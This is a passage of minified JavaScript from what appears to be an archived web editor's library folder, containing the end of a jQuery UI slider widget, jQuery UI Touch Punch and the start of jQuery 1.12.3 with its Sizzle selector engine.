this.options.values&&this.options.values.length?this._values(e):this.value();for(s=this.options.values,n=arguments[0],a=0;s.length>a;a+=1)s[a]=this._trimAlignValue(n[a]),this._change(null,a);this._refreshValue()},_setOption:function(e,i){var s,n=0;switch("range"===e&&this.options.range===!0&&("min"===i?(this.options.value=this._values(0),this.options.values=null):"max"===i&&(this.options.value=this._values(this.options.values.length-1),this.options.values=null)),t.isArray(this.options.values)&&(n=this.options.values.length),"disabled"===e&&this.element.toggleClass("uk-state-disabled",!!i),this._super(e,i),e){case"orientation":this._detectOrientation(),this.element.removeClass("uk-slider-horizontal uk-slider-vertical").addClass("uk-slider-"+this.orientation),this._refreshValue(),this.handles.css("horizontal"===i?"bottom":"left","");break;case"value":this._animateOff=!0,this._refreshValue(),this._change(null,0),this._animateOff=!1;break;case"values":for(this._animateOff=!0,this._refreshValue(),s=0;n>s;s+=1)this._change(null,s);this._animateOff=!1;break;case"step":case"min":case"max":this._animateOff=!0,this._calculateNewMax(),this._refreshValue(),this._animateOff=!1;break;case"range":this._animateOff=!0,this._refresh(),this._animateOff=!1}},_value:function(){var t=this.options.value;return t=this._trimAlignValue(t)},_values:function(t){var e,i,s;if(arguments.length)return e=this.options.values[t],e=this._trimAlignValue(e);if(this.options.values&&this.options.values.length){for(i=this.options.values.slice(),s=0;i.length>s;s+=1)i[s]=this._trimAlignValue(i[s]);return i}return[]},_trimAlignValue:function(t){if(this._valueMin()>=t)return this._valueMin();if(t>=this._valueMax())return this._valueMax();var e=this.options.step>0?this.options.step:1,i=(t-this._valueMin())%e,s=t-i;return 2*Math.abs(i)>=e&&(s+=i>0?e:-e),parseFloat(s.toFixed(5))},_calculateNewMax:function(){var t=this.options.max,e=this._valueMin(),i=this.options.step,s=Math.floor(+(t-e).toFixed(this._precision())/i)*i;t=s+e,this.max=parseFloat(t.toFixed(this._precision()))},_precision:function(){var t=this._precisionOf(this.options.step);return null!==this.options.min&&(t=Math.max(t,this._precisionOf(this.options.min))),t},_precisionOf:function(t){var e=""+t,i=e.indexOf(".");return-1===i?0:e.length-i-1},_valueMin:function(){return this.options.min},_valueMax:function(){return this.max},_refreshValue:function(){var e,i,s,n,a,o=this.options.range,r=this.options,h=this,l=this._animateOff?!1:r.animate,u={};this.options.values&&this.options.values.length?this.handles.each(function(s){i=100*((h.values(s)-h._valueMin())/(h._valueMax()-h._valueMin())),u["horizontal"===h.orientation?"left":"bottom"]=i+"%",t(this).stop(1,1)[l?"animate":"css"](u,r.animate),h.options.range===!0&&("horizontal"===h.orientation?(0===s&&h.range.stop(1,1)[l?"animate":"css"]({left:i+"%"},r.animate),1===s&&h.range[l?"animate":"css"]({width:i-e+"%"},{queue:!1,duration:r.animate})):(0===s&&h.range.stop(1,1)[l?"animate":"css"]({bottom:i+"%"},r.animate),1===s&&h.range[l?"animate":"css"]({height:i-e+"%"},{queue:!1,duration:r.animate}))),e=i}):(s=this.value(),n=this._valueMin(),a=this._valueMax(),i=a!==n?100*((s-n)/(a-n)):0,u["horizontal"===this.orientation?"left":"bottom"]=i+"%",this.handle.stop(1,1)[l?"animate":"css"](u,r.animate),"min"===o&&"horizontal"===this.orientation&&this.range.stop(1,1)[l?"animate":"css"]({width:i+"%"},r.animate),"max"===o&&"horizontal"===this.orientation&&this.range[l?"animate":"css"]({width:100-i+"%"},{queue:!1,duration:r.animate}),"min"===o&&"vertical"===this.orientation&&this.range.stop(1,1)[l?"animate":"css"]({height:i+"%"},r.animate),"max"===o&&"vertical"===this.orientation&&this.range[l?"animate":"css"]({height:100-i+"%"},{queue:!1,duration:r.animate}))},_handleEvents:{keydown:function(e){var i,s,n,a,o=t(e.target).data("uk-slider-handle-index");switch(e.keyCode){case t.ui.keyCode.HOME:case t.ui.keyCode.END:case t.ui.keyCode.PAGE_UP:case t.ui.keyCode.PAGE_DOWN:case t.ui.keyCode.UP:case t.ui.keyCode.RIGHT:case t.ui.keyCode.DOWN:case t.ui.keyCode.LEFT:if(e.preventDefault(),!this._keySliding&&(this._keySliding=!0,t(e.target).addClass("uk-state-active"),i=this._start(e,o),i===!1))return}switch(a=this.options.step,s=n=this.options.values&&this.options.values.length?this.values(o):this.value(),e.keyCode){case t.ui.keyCode.HOME:n=this._valueMin();break;case t.ui.keyCode.END:n=this._valueMax();break;case t.ui.keyCode.PAGE_UP:n=this._trimAlignValue(s+(this._valueMax()-this._valueMin())/this.numPages);break;case t.ui.keyCode.PAGE_DOWN:n=this._trimAlignValue(s-(this._valueMax()-this._valueMin())/this.numPages);break;case t.ui.keyCode.UP:case t.ui.keyCode.RIGHT:if(s===this._valueMax())return;n=this._trimAlignValue(s+a);break;case t.ui.keyCode.DOWN:case t.ui.keyCode.LEFT:if(s===this._valueMin())return;n=this._trimAlignValue(s-a)}this._slide(e,o,n)},keyup:function(e){var i=t(e.target).data("uk-slider-handle-index");this._keySliding&&(this._keySliding=!1,this._stop(e,i),this._change(e,i),t(e.target).removeClass("uk-state-active"))}}})});
/*!
 * jQuery UI Touch Punch 0.2.3
 *
 * Copyright 2011–2014, Dave Furfero
 * Dual licensed under the MIT or GPL Version 2 licenses.
 *
 * Depends:
 *  jquery.ui.widget.js
 *  jquery.ui.mouse.js
 */
!function(a){function f(a,b){if(!(a.originalEvent.touches.length>1)){a.preventDefault();var c=a.originalEvent.changedTouches[0],d=document.createEvent("MouseEvents");d.initMouseEvent(b,!0,!0,window,1,c.screenX,c.screenY,c.clientX,c.clientY,!1,!1,!1,!1,0,null),a.target.dispatchEvent(d)}}if(a.support.touch="ontouchend"in document,a.support.touch){var e,b=a.ui.mouse.prototype,c=b._mouseInit,d=b._mouseDestroy;b._touchStart=function(a){var b=this;!e&&b._mouseCapture(a.originalEvent.changedTouches[0])&&(e=!0,b._touchMoved=!1,f(a,"mouseover"),f(a,"mousemove"),f(a,"mousedown"))},b._touchMove=function(a){e&&(this._touchMoved=!0,f(a,"mousemove"))},b._touchEnd=function(a){e&&(f(a,"mouseup"),f(a,"mouseout"),this._touchMoved||f(a,"click"),e=!1)},b._mouseInit=function(){var b=this;b.element.bind({touchstart:a.proxy(b,"_touchStart"),touchmove:a.proxy(b,"_touchMove"),touchend:a.proxy(b,"_touchEnd")}),c.call(b)},b._mouseDestroy=function(){var b=this;b.element.unbind({touchstart:a.proxy(b,"_touchStart"),touchmove:a.proxy(b,"_touchMove"),touchend:a.proxy(b,"_touchEnd")}),d.call(b)}}}(jQuery);
editor/libraries/jquery/js/jquery.min.js000060400000275634150750527150014424 0ustar00/*! jQuery v1.12.3 | (c) jQuery Foundation | jquery.org/license */
!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=a.document,e=c.slice,f=c.concat,g=c.push,h=c.indexOf,i={},j=i.toString,k=i.hasOwnProperty,l={},m="1.12.3",n=function(a,b){return new n.fn.init(a,b)},o=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,p=/^-ms-/,q=/-([\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:"",length:0,toArray:function(){return e.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:e.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a){return n.each(this,a)},map:function(a){return this.pushStack(n.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return this.pushStack(e.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(a){var b=this.length,c=+a+(0>a?b:0);return this.pushStack(c>=0&&b>c?[this[c]]:[])},end:function(){return this.prevObject||this.constructor()},push:g,sort:c.sort,splice:c.splice},n.extend=n.fn.extend=function(){var a,b,c,d,e,f,g=arguments[0]||{},h=1,i=arguments.length,j=!1;for("boolean"==typeof g&&(j=g,g=arguments[h]||{},h++),"object"==typeof g||n.isFunction(g)||(g={}),h===i&&(g=this,h--);i>h;h++)if(null!=(e=arguments[h]))for(d in e)a=g[d],c=e[d],g!==c&&(j&&c&&(n.isPlainObject(c)||(b=n.isArray(c)))?(b?(b=!1,f=a&&n.isArray(a)?a:[]):f=a&&n.isPlainObject(a)?a:{},g[d]=n.extend(j,f,c)):void 0!==c&&(g[d]=c));return g},n.extend({expando:"jQuery"+(m+Math.random()).replace(/\D/g,""),isReady:!0,error:function(a){throw new Error(a)},noop:function(){},isFunction:function(a){return"function"===n.type(a)},isArray:Array.isArray||function(a){return"array"===n.type(a)},isWindow:function(a){return null!=a&&a==a.window},isNumeric:function(a){var b=a&&a.toString();return!n.isArray(a)&&b-parseFloat(b)+1>=0},isEmptyObject:function(a){var b;for(b in a)return!1;return!0},isPlainObject:function(a){var b;if(!a||"object"!==n.type(a)||a.nodeType||n.isWindow(a))return!1;try{if(a.constructor&&!k.call(a,"constructor")&&!k.call(a.constructor.prototype,"isPrototypeOf"))return!1}catch(c){return!1}if(!l.ownFirst)for(b in a)return k.call(a,b);for(b in a);return void 0===b||k.call(a,b)},type:function(a){return null==a?a+"":"object"==typeof a||"function"==typeof a?i[j.call(a)]||"object":typeof a},globalEval:function(b){b&&n.trim(b)&&(a.execScript||function(b){a.eval.call(a,b)})(b)},camelCase:function(a){return a.replace(p,"ms-").replace(q,r)},nodeName:function(a,b){return a.nodeName&&a.nodeName.toLowerCase()===b.toLowerCase()},each:function(a,b){var c,d=0;if(s(a)){for(c=a.length;c>d;d++)if(b.call(a[d],d,a[d])===!1)break}else for(d in a)if(b.call(a[d],d,a[d])===!1)break;return a},trim:function(a){return null==a?"":(a+"").replace(o,"")},makeArray:function(a,b){var c=b||[];return null!=a&&(s(Object(a))?n.merge(c,"string"==typeof a?[a]:a):g.call(c,a)),c},inArray:function(a,b,c){var d;if(b){if(h)return h.call(b,a,c);for(d=b.length,c=c?0>c?Math.max(0,d+c):c:0;d>c;c++)if(c in b&&b[c]===a)return c}return-1},merge:function(a,b){var c=+b.length,d=0,e=a.length;while(c>d)a[e++]=b[d++];if(c!==c)while(void 0!==b[d])a[e++]=b[d++];return a.length=e,a},grep:function(a,b,c){for(var d,e=[],f=0,g=a.length,h=!c;g>f;f++)d=!b(a[f],f),d!==h&&e.push(a[f]);return e},map:function(a,b,c){var d,e,g=0,h=[];if(s(a))for(d=a.length;d>g;g++)e=b(a[g],g,c),null!=e&&h.push(e);else for(g in a)e=b(a[g],g,c),null!=e&&h.push(e);return f.apply([],h)},guid:1,proxy:function(a,b){var c,d,f;return"string"==typeof b&&(f=a[b],b=a,a=f),n.isFunction(a)?(c=e.call(arguments,2),d=function(){return a.apply(b||this,c.concat(e.call(arguments)))},d.guid=a.guid=a.guid||n.guid++,d):void 0},now:function(){return+new Date},support:l}),"function"==typeof Symbol&&(n.fn[Symbol.iterator]=c[Symbol.iterator]),n.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(a,b){i["[object "+b+"]"]=b.toLowerCase()});function s(a){var b=!!a&&"length"in a&&a.length,c=n.type(a);return"function"===c||n.isWindow(a)?!1:"array"===c||0===b||"number"==typeof b&&b>0&&b-1 in a}var t=function(a){var b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u="sizzle"+1*new Date,v=a.document,w=0,x=0,y=ga(),z=ga(),A=ga(),B=function(a,b){return a===b&&(l=!0),0},C=1<<31,D={}.hasOwnProperty,E=[],F=E.pop,G=E.push,H=E.push,I=E.slice,J=function(a,b){for(var c=0,d=a.length;d>c;c++)if(a[c]===b)return c;return-1},K="checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",L="[\\x20\\t\\r\\n\\f]",M="(?:\\\\.|[\\w-]|[^\\x00-\\xa0])+",N="\\["+L+"*("+M+")(?:"+L+"*([*^$|!~]?=)"+L+"*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|("+M+"))|)"+L+"*\\]",O=":("+M+")(?:\\((('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|((?:\\\\.|[^\\\\()[\\]]|"+N+")*)|.*)\\)|)",P=new RegExp(L+"+","g"),Q=new RegExp("^"+L+"+|((?:^|[^\\\\])(?:\\\\.)*)"+L+"+$","g"),R=new RegExp("^"+L+"*,"+L+"*"),S=new RegExp("^"+L+"*([>+~]|"+L+")"+L+"*"),T=new RegExp("="+L+"*([^\\]'\"]*?)"+L+"*\\]","g"),U=new RegExp(O),V=new RegExp("^"+M+"$"),W={ID:new RegExp("^#("+M+")"),CLASS:new RegExp("^\\.("+M+")"),TAG:new RegExp("^("+M+"|[*])"),ATTR:new RegExp("^"+N),PSEUDO:new RegExp("^"+O),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+L+"*(even|odd|(([+-]|)(\\d*)n|)"+L+"*(?:([+-]|)"+L+"*(\\d+)|))"+L+"*\\)|)","i"),bool:new RegExp("^(?:"+K+")$","i"),needsContext:new RegExp("^"+L+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+L+"*((?:-\\d)?\\d*)"+L+"*\\)|)(?=[^-]|$)","i")},X=/^(?:input|select|textarea|button)$/i,Y=/^h\d$/i,Z=/^[^{]+\{\s*\[native \w/,$=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,_=/[+~]/,aa=/'|\\/g,ba=new RegExp("\\\\([\\da-f]{1,6}"+L+"?|("+L+")|.)","ig"),ca=function(a,b,c){var d="0x"+b-65536;return d!==d||c?b:0>d?String.fromCharCode(d+65536):String.fromCharCode(d>>10|55296,1023&d|56320)},da=function(){m()};try{H.apply(E=I.call(v.childNodes),v.childNodes),E[v.childNodes.length].nodeType}catch(ea){H={apply:E.length?function(a,b){G.apply(a,I.call(b))}:function(a,b){var c=a.length,d=0;while(a[c++]=b[d++]);a.length=c-1}}}function fa(a,b,d,e){var f,h,j,k,l,o,r,s,w=b&&b.ownerDocument,x=b?b.nodeType:9;if(d=d||[],"string"!=typeof a||!a||1!==x&&9!==x&&11!==x)return d;if(!e&&((b?b.ownerDocument||b:v)!==n&&m(b),b=b||n,p)){if(11!==x&&(o=$.exec(a)))if(f=o[1]){if(9===x){if(!(j=b.getElementById(f)))return d;if(j.id===f)return d.push(j),d}else if(w&&(j=w.getElementById(f))&&t(b,j)&&j.id===f)return d.push(j),d}else{if(o[2])return H.apply(d,b.getElementsByTagName(a)),d;if((f=o[3])&&c.getElementsByClassName&&b.getElementsByClassName)return H.apply(d,b.getElementsByClassName(f)),d}if(c.qsa&&!A[a+" "]&&(!q||!q.test(a))){if(1!==x)w=b,s=a;else if("object"!==b.nodeName.toLowerCase()){(k=b.getAttribute("id"))?k=k.replace(aa,"\\$&"):b.setAttribute("id",k=u),r=g(a),h=r.length,l=V.test(k)?"#"+k:"[id='"+k+"']";while(h--)r[h]=l+" "+qa(r[h]);s=r.join(","),w=_.test(a)&&oa(b.parentNode)||b}if(s)try{return H.apply(d,w.querySelectorAll(s)),d}catch(y){}finally{k===u&&b.removeAttribute("id")}}}return i(a.replace(Q,"$1"),b,d,e)}function ga(){var a=[];function b(c,e){return a.push(c+" ")>d.cacheLength&&delete b[a.shift()],b[c+" "]=e}return b}function ha(a){return a[u]=!0,a}function ia(a){var b=n.createElement("div");try{return!!a(b)}catch(c){return!1}finally{b.parentNode&&b.parentNode.removeChild(b),b=null}}function ja(a,b){var c=a.split("|"),e=c.length;while(e--)d.attrHandle[c[e]]=b}function ka(a,b){var c=b&&a,d=c&&1===a.nodeType&&1===b.nodeType&&(~b.sourceIndex||C)-(~a.sourceIndex||C);if(d)return d;if(c)while(c=c.nextSibling)if(c===b)return-1;return a?1:-1}function la(a){return function(b){var c=b.nodeName.toLowerCase();return"input"===c&&b.type===a}}function ma(a){return function(b){var c=b.nodeName.toLowerCase();return("input"===c||"button"===c)&&b.type===a}}function na(a){return ha(function(b){return b=+b,ha(function(c,d){var e,f=a([],c.length,b),g=f.length;while(g--)c[e=f[g]]&&(c[e]=!(d[e]=c[e]))})})}function oa(a){return a&&"undefined"!=typeof a.getElementsByTagName&&a}c=fa.support={},f=fa.isXML=function(a){var b=a&&(a.ownerDocument||a).documentElement;return b?"HTML"!==b.nodeName:!1},m=fa.setDocument=function(a){var b,e,g=a?a.ownerDocument||a:v;return g!==n&&9===g.nodeType&&g.documentElement?(n=g,o=n.documentElement,p=!f(n),(e=n.defaultView)&&e.top!==e&&(e.addEventListener?e.addEventListener("unload",da,!1):e.attachEvent&&e.attachEvent("onunload",da)),c.attributes=ia(function(a){return a.className="i",!a.getAttribute("className")}),c.getElementsByTagName=ia(function(a){return a.appendChild(n.createComment("")),!a.getElementsByTagName("*").length}),c.getElementsByClassName=Z.test(n.getElementsByClassName),c.getById=ia(function(a){return o.appendChild(a).id=u,!n.getElementsByName||!n.getElementsByName(u).length}),c.getById?(d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c=b.getElementById(a);return c?[c]:[]}},d.filter.ID=function(a){var b=a.replace(ba,ca);return function(a){return a.getAttribute("id")===b}}):(delete d.find.ID,d.filter.ID=function(a){var b=a.replace(ba,ca);return function(a){var c="undefined"!=typeof a.getAttributeNode&&a.getAttributeNode("id");return c&&c.value===b}}),d.find.TAG=c.getElementsByTagName?function(a,b){return"undefined"!=typeof b.getElementsByTagName?b.getElementsByTagName(a):c.qsa?b.querySelectorAll(a):void 0}:function(a,b){var c,d=[],e=0,f=b.getElementsByTagName(a);if("*"===a){while(c=f[e++])1===c.nodeType&&d.push(c);return d}return f},d.find.CLASS=c.getElementsByClassName&&function(a,b){return"undefined"!=typeof b.getElementsByClassName&&p?b.getElementsByClassName(a):void 0},r=[],q=[],(c.qsa=Z.test(n.querySelectorAll))&&(ia(function(a){o.appendChild(a).innerHTML="<a id='"+u+"'></a><select id='"+u+"-\r\\' msallowcapture=''><option selected=''></option></select>",a.querySelectorAll("[msallowcapture^='']").length&&q.push("[*^$]="+L+"*(?:''|\"\")"),a.querySelectorAll("[selected]").length||q.push("\\["+L+"*(?:value|"+K+")"),a.querySelectorAll("[id~="+u+"-]").length||q.push("~="),a.querySelectorAll(":checked").length||q.push(":checked"),a.querySelectorAll("a#"+u+"+*").length||q.push(".#.+[+~]")}),ia(function(a){var b=n.createElement("input");b.setAttribute("type","hidden"),a.appendChild(b).setAttribute("name","D"),a.querySelectorAll("[name=d]").length&&q.push("name"+L+"*[*^$|!~]?="),a.querySelectorAll(":enabled").length||q.push(":enabled",":disabled"),a.querySelectorAll("*,:x"),q.push(",.*:")})),(c.matchesSelector=Z.test(s=o.matches||o.webkitMatchesSelector||o.mozMatchesSelector||o.oMatchesSelector||o.msMatchesSelector))&&ia(function(a){c.disconnectedMatch=s.call(a,"div"),s.call(a,"[s!='']:x"),r.push("!=",O)}),q=q.length&&new RegExp(q.join("|")),r=r.length&&new RegExp(r.join("|")),b=Z.test(o.compareDocumentPosition),t=b||Z.test(o.contains)?function(a,b){var c=9===a.nodeType?a.documentElement:a,d=b&&b.parentNode;return a===d||!(!d||1!==d.nodeType||!(c.contains?c.contains(d):a.compareDocumentPosition&&16&a.compareDocumentPosition(d)))}:function(a,b){if(b)while(b=b.parentNode)if(b===a)return!0;return!1},B=b?function(a,b){if(a===b)return l=!0,0;var d=!a.compareDocumentPosition-!b.compareDocumentPosition;return d?d:(d=(a.ownerDocument||a)===(b.ownerDocument||b)?a.compareDocumentPosition(b):1,1&d||!c.sortDetached&&b.compareDocumentPosition(a)===d?a===n||a.ownerDocument===v&&t(v,a)?-1:b===n||b.ownerDocument===v&&t(v,b)?1:k?J(k,a)-J(k,b):0:4&d?-1:1)}:function(a,b){if(a===b)return l=!0,0;var c,d=0,e=a.parentNode,f=b.parentNode,g=[a],h=[b];if(!e||!f)return a===n?-1:b===n?1:e?-1:f?1:k?J(k,a)-J(k,b):0;if(e===f)return ka(a,b);c=a;while(c=c.parentNode)g.unshift(c);c=b;while(c=c.parentNode)h.unshift(c);while(g[d]===h[d])d++;return d?ka(g[d],h[d]):g[d]===v?-1:h[d]===v?1:0},n):n},fa.matches=function(a,b){return fa(a,null,null,b)},fa.matchesSelector=function(a,b){if((a.ownerDocument||a)!==n&&m(a),b=b.replace(T,"='$1']"),c.matchesSelector&&p&&!A[b+" "]&&(!r||!r.test(b))&&(!q||!q.test(b)))try{var d=s.call(a,b);if(d||c.disconnectedMatch||a.document&&11!==a.document.nodeType)return d}catch(e){}return fa(b,n,null,[a]).length>0},fa.contains=function(a,b){return(a.ownerDocument||a)!==n&&m(a),t(a,b)},fa.attr=function(a,b){(a.ownerDocument||a)!==n&&m(a);var e=d.attrHandle[b.toLowerCase()],f=e&&D.call(d.attrHandle,b.toLowerCase())?e(a,b,!p):void 0;return void 0!==f?f:c.attributes||!p?a.getAttribute(b):(f=a.getAttributeNode(b))&&f.specified?f.value:null},fa.error=function(a){throw new Error("Syntax error, unrecognized expression: "+a)},fa.uniqueSort=function(a){var b,d=[],e=0,f=0;if(l=!c.detectDuplicates,k=!c.sortStable&&a.slice(0),a.sort(B),l){while(b=a[f++])b===a[f]&&(e=d.push(f));while(e--)a.splice(d[e],1)}return k=null,a},e=fa.getText=function(a){var b,c="",d=0,f=a.nodeType;if(f){if(1===f||9===f||11===f){if("string"==typeof a.textContent)return a.textContent;for(a=a.firstChild;a;a=a.nextSibling)c+=e(a)}else if(3===f||4===f)return a.nodeValue}else while(b=a[d++])c+=e(b);return c},d=fa.selectors={cacheLength:50,createPseudo:ha,match:W,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(a){return a[1]=a[1].replace(ba,ca),a[3]=(a[3]||a[4]||a[5]||"").replace(ba,ca),"~="===a[2]&&(a[3]=" "+a[3]+" "),a.slice(0,4)},CHILD:function(a){return a[1]=a[1].toLowerCase(),"nth"===a[1].slice(0,3)?(a[3]||fa.error(a[0]),a[4]=+(a[4]?a[5]+(a[6]||1):2*("even"===a[3]||"odd"===a[3])),a[5]=+(a[7]+a[8]||"odd"===a[3])):a[3]&&fa.error(a[0]),a},PSEUDO:function(a){var b,c=!a[6]&&a[2];return W.CHILD.test(a[0])?null:(a[3]?a[2]=a[4]||a[5]||"":c&&U.test(c)&&(b=g(c,!0))&&(b=c.indexOf(")",c.length-b)-c.length)&&(a[0]=a[0].slice(0,b),a[2]=c.slice(0,b)),a.slice(0,3))}},filter:{TAG:function(a){var b=a.replace(ba,ca).toLowerCase();return"*"===a?function(){return!0}:function(a){return a.nodeName&&a.nodeName.toLowerCase()===b}},CLASS:function(a){var b=y[a+" "];return b||(b=new RegExp("(^|"+L+")"+a+"("+L+"|$)"))&&y(a,function(a){return b.test("string"==typeof a.className&&a.className||"undefined"!=typeof a.getAttribute&&a.getAttribute("class")||"")})},ATTR:function(a,b,c){return function(d){var e=fa.attr(d,a);return null==e?"!="===b:b?(e+="","="===b?e===c:"!="===b?e!==c:"^="===b?c&&0===e.indexOf(c):"*="===b?c&&e.indexOf(c)>-1:"$="===b?c&&e.slice(-c.length)===c:"~="===b?(" "+e.replace(P," ")+" ").indexOf(c)>-1:"|="===b?e===c||e.slice(0,c.length+1)===c+"-":!1):!0}},CHILD:function(a,b,c,d,e){var f="nth"!==a.slice(0,3),g="last"!==a.slice(-4),h="of-type"===b;return 1===d&&0===e?function(a){return!!a.parentNode}:function(b,c,i){var j,k,l,m,n,o,p=f!==g?"nextSibling":"previousSibling",q=b.parentNode,r=h&&b.nodeName.toLowerCase(),s=!i&&!h,t=!1;if(q){if(f){while(p){m=b;while(m=m[p])if(h?m.nodeName.toLowerCase()===r:1===m.nodeType)return!1;o=p="only"===a&&!o&&"nextSibling"}return!0}if(o=[g?q.firstChild:q.lastChild],g&&s){m=q,l=m[u]||(m[u]={}),k=l[m.uniqueID]||(l[m.uniqueID]={}),j=k[a]||[],n=j[0]===w&&j[1],t=n&&j[2],m=n&&q.childNodes[n];while(m=++n&&m&&m[p]||(t=n=0)||o.pop())if(1===m.nodeType&&++t&&m===b){k[a]=[w,n,t];break}}else if(s&&(m=b,l=m[u]||(m[u]={}),k=l[m.uniqueID]||(l[m.uniqueID]={}),j=k[a]||[],n=j[0]===w&&j[1],t=n),t===!1)while(m=++n&&m&&m[p]||(t=n=0)||o.pop())if((h?m.nodeName.toLowerCase()===r:1===m.nodeType)&&++t&&(s&&(l=m[u]||(m[u]={}),k=l[m.uniqueID]||(l[m.uniqueID]={}),k[a]=[w,t]),m===b))break;return t-=e,t===d||t%d===0&&t/d>=0}}},PSEUDO:function(a,b){var c,e=d.pseudos[a]||d.setFilters[a.toLowerCase()]||fa.error("unsupported pseudo: "+a);return e[u]?e(b):e.length>1?(c=[a,a,"",b],d.setFilters.hasOwnProperty(a.toLowerCase())?ha(function(a,c){var d,f=e(a,b),g=f.length;while(g--)d=J(a,f[g]),a[d]=!(c[d]=f[g])}):function(a){return e(a,0,c)}):e}},pseudos:{not:ha(function(a){var b=[],c=[],d=h(a.replace(Q,"$1"));return d[u]?ha(function(a,b,c,e){var f,g=d(a,null,e,[]),h=a.length;while(h--)(f=g[h])&&(a[h]=!(b[h]=f))}):function(a,e,f){return b[0]=a,d(b,null,f,c),b[0]=null,!c.pop()}}),has:ha(function(a){return function(b){return fa(a,b).length>0}}),contains:ha(function(a){return a=a.replace(ba,ca),function(b){return(b.textContent||b.innerText||e(b)).indexOf(a)>-1}}),lang:ha(function(a){return V.test(a||"")||fa.error("unsupported lang: "+a),a=a.replace(ba,ca).toLowerCase(),function(b){var c;do if(c=p?b.lang:b.getAttribute("xml:lang")||b.getAttribute("lang"))return c=c.toLowerCase(),c===a||0===c.indexOf(a+"-");while((b=b.parentNode)&&1===b.nodeType);return!1}}),target:function(b){var c=a.location&&a.location.hash;return c&&c.slice(1)===b.id},root:function(a){return a===o},focus:function(a){return a===n.activeElement&&(!n.hasFocus||n.hasFocus())&&!!(a.type||a.href||~a.tabIndex)},enabled:function(a){return a.disabled===!1},disabled:function(a){return a.disabled===!0},checked:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&!!a.checked||"option"===b&&!!a.selected},selected:function(a){return a.parentNode&&a.parentNode.selectedIndex,a.selected===!0},empty:function(a){for(a=a.firstChild;a;a=a.nextSibling)if(a.nodeType<6)return!1;return!0},parent:function(a){return!d.pseudos.empty(a)},header:function(a){return Y.test(a.nodeName)},input:function(a){return X.test(a.nodeName)},button:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&"button"===a.type||"button"===b},text:function(a){var b;return"input"===a.nodeName.toLowerCase()&&"text"===a.type&&(null==(b=a.getAttribute("type"))||"text"===b.toLowerCase())},first:na(function(){return[0]}),last:na(function(a,b){return[b-1]}),eq:na(function(a,b,c){return[0>c?c+b:c]}),even:na(function(a,b){for(var c=0;b>c;c+=2)a.push(c);return a}),odd:na(function(a,b){for(var c=1;b>c;c+=2)a.push(c);return a}),lt:na(function(a,b,c){for(var d=0>c?c+b:c;--d>=0;)a.push(d);return a}),gt:na(function(a,b,c){for(var d=0>c?c+b:c;++d<b;)a.push(d);return a})}},d.pseudos.nth=d.pseudos.eq;for(b in{radio:!0,checkbox:!0,file:!0,password:!0,image:!0})d.pseudos[b]=la(b);for(b in{submit:!0,reset:!0})d.pseudos[b]=ma(b);function pa(){}pa.prototype=d.filters=d.pseudos,d.setFilters=new pa,g=fa.tokenize=function(a,b){var c,e,f,g,h,i,j,k=z[a+" "];if(k)return b?0:k.slice(0);h=a,i=[],j=d.preFilter;while(h){c&&!(e=R.exec(h))||(e&&(h=h.slice(e[0].length)||h),i.push(f=[])),c=!1,(e=S.exec(h))&&(c=e.shift(),f.push({value:c,type:e[0].replace(Q," ")}),h=h.slice(c.length));for(g in d.filter)!(e=W[g].exec(h))||j[g]&&!(e=j[g](e))||(c=e.shift(),f.push({value:c,type:g,matches:e}),h=h.slice(c.length));if(!c)break}return b?h.length:h?fa.error(a):z(a,i).slice(0)};function qa(a){for(var b=0,c=a.length,d="";c>b;b++)d+=a[b].value;return d}function ra(a,b,c){var d=b.dir,e=c&&"parentNode"===d,f=x++;return b.first?function(b,c,f){while(b=b[d])if(1===b.nodeType||e)return a(b,c,f)}:function(b,c,g){var h,i,j,k=[w,f];if(g){while(b=b[d])if((1===b.nodeType||e)&&a(b,c,g))return!0}else while(b=b[d])if(1===b.nodeType||e){if(j=b[u]||(b[u]={}),i=j[b.uniqueID]||(j[b.uniqueID]={}),(h=i[d])&&h[0]===w&&h[1]===f)return k[2]=h[2];if(i[d]=k,k[2]=a(b,c,g))return!0}}}function sa(a){return a.length>1?function(b,c,d){var e=a.length;while(e--)if(!a[e](b,c,d))return!1;return!0}:a[0]}function ta(a,b,c){for(var d=0,e=b.length;e>d;d++)fa(a,b[d],c);return c}function ua(a,b,c,d,e){for(var f,g=[],h=0,i=a.length,j=null!=b;i>h;h++)(f=a[h])&&(c&&!c(f,d,e)||(g.push(f),j&&b.push(h)));return g}function va(a,b,c,d,e,f){return d&&!d[u]&&(d=va(d)),e&&!e[u]&&(e=va(e,f)),ha(function(f,g,h,i){var 